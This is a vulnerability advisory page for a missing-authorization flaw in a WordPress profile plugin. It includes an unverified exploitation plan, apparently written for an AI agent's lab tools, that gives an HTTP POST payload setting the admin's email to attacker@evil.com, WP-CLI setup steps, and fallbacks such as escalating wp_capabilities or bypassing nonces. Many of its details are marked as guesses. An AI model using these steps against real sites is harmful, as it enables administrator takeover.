CVE-2026-39688

Frontend Profile <= 1.3.9 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Frontend Profile plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.3.9. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.9
PublishedFebruary 23, 2026
Last updatedApril 15, 2026
Affected pluginwp-front-end-profile
Research Plan
Unverified

This research plan outlines the steps required to exploit a missing authorization vulnerability in the **WP Frontend Profile** plugin (version <= 1.3.9). ### 1. Vulnerability Summary The **WP Frontend Profile** plugin is vulnerable to Missing Authorization. An unauthenticated attacker can exploit t…

Show full research plan

This research plan outlines the steps required to exploit a missing authorization vulnerability in the WP Frontend Profile plugin (version <= 1.3.9).

1. Vulnerability Summary

The WP Frontend Profile plugin is vulnerable to Missing Authorization. An unauthenticated attacker can exploit this by sending a specially crafted AJAX request to the wp_ajax_nopriv_wpfp_save_profile (inferred) handler. The function responsible for updating user profiles fails to verify if the requester has the authority to modify the targeted user_id. This allows an attacker to change profile details (such as the email address) of any user, including administrators, which can lead to full site takeover via password reset.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpfp_save_profile (inferred)
  • Method: POST
  • Parameters:
    • action: wpfp_save_profile
    • user_id: The ID of the target user (e.g., 1 for the primary admin).
    • email: The new email address to assign to the user.
    • wpfp_nonce: A valid CSRF token.
  • Authentication: None (Unauthenticated via wp_ajax_nopriv_).
  • Preconditions: A valid nonce must be obtained from the frontend.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the AJAX action during init or in the constructor:
    add_action( 'wp_ajax_nopriv_wpfp_save_profile', 'wpfp_save_profile_action' );
  2. Handler Entry: The function wpfp_save_profile_action() is called.
  3. Missing Check: The code likely calls check_ajax_referer( 'wpfp_nonce', 'wpfp_nonce' ) but fails to call current_user_can( 'edit_user', $user_id ).
  4. Sinks: The user-provided user_id and profile data (like email) are passed directly into wp_update_user() or update_user_meta().

4. Nonce Acquisition Strategy

The plugin likely enqueues its AJAX script and localizes a nonce on pages where the profile editing form is present.

  1. Identify Shortcode: The plugin uses [wpfp_full_profile] or [wpfp_edit_profile] (inferred) to display the profile editor.
  2. Create Page: Use WP-CLI to create a public page containing this shortcode.
  3. Navigate: Use the browser_navigate tool to visit the created page.
  4. Extract Nonce: Use browser_eval to extract the nonce from the localized JavaScript object. The localization key is typically wpfp_ajax.
    • JavaScript Command: window.wpfp_ajax?.nonce or window.wpfp_ajax?.wpfp_nonce (inferred).

5. Exploitation Strategy

  1. Setup Phase: Create a page with the shortcode to make the nonce available.
  2. Information Gathering: Navigate to the page and extract the nonce using the browser console/eval.
  3. Execution Phase: Send a POST request to admin-ajax.php targeting User ID 1.

HTTP Request Payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wpfp_save_profile&user_id=1&email=attacker@evil.com&wpfp_nonce=[EXTRACTED_NONCE]

Note: Use the http_request tool with the body formatted as a URL-encoded string.

6. Test Data Setup

  1. Admin User: Ensure a user with ID 1 exists (default WordPress setup).
  2. Shortcode Page:
    wp post create --post_type=page --post_title="Profile Edit" --post_status=publish --post_content='[wpfp_full_profile]'
    
  3. Target Details: Note the original email of the admin:
    wp user get 1 --field=user_email
    

7. Expected Results

  • The AJAX response should return a success status (e.g., {"success":true} or a redirect/HTML snippet).
  • The database record for User ID 1 should now reflect the attacker-supplied email address.

8. Verification Steps

After sending the exploit request, verify the change using WP-CLI:

# Check if the email was updated for the admin user
wp user get 1 --field=user_email

If the output is attacker@evil.com, the exploitation is successful.

9. Alternative Approaches

  • Meta Update: If the wpfp_save_profile action doesn't allow email updates, check if it accepts arbitrary meta keys. If so, attempt to update wp_capabilities to a:1:{s:13:"administrator";b:1;} for a low-privileged user the attacker controls.
  • Action Name Brute Force: If wpfp_save_profile is incorrect, search the plugin directory for all wp_ajax_nopriv registrations:
    grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/wp-front-end-profile/
    
  • Nonce Check Bypass: If the nonce check is present but uses a generic action string like -1, try using a nonce obtained from a different frontend script or the REST API.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.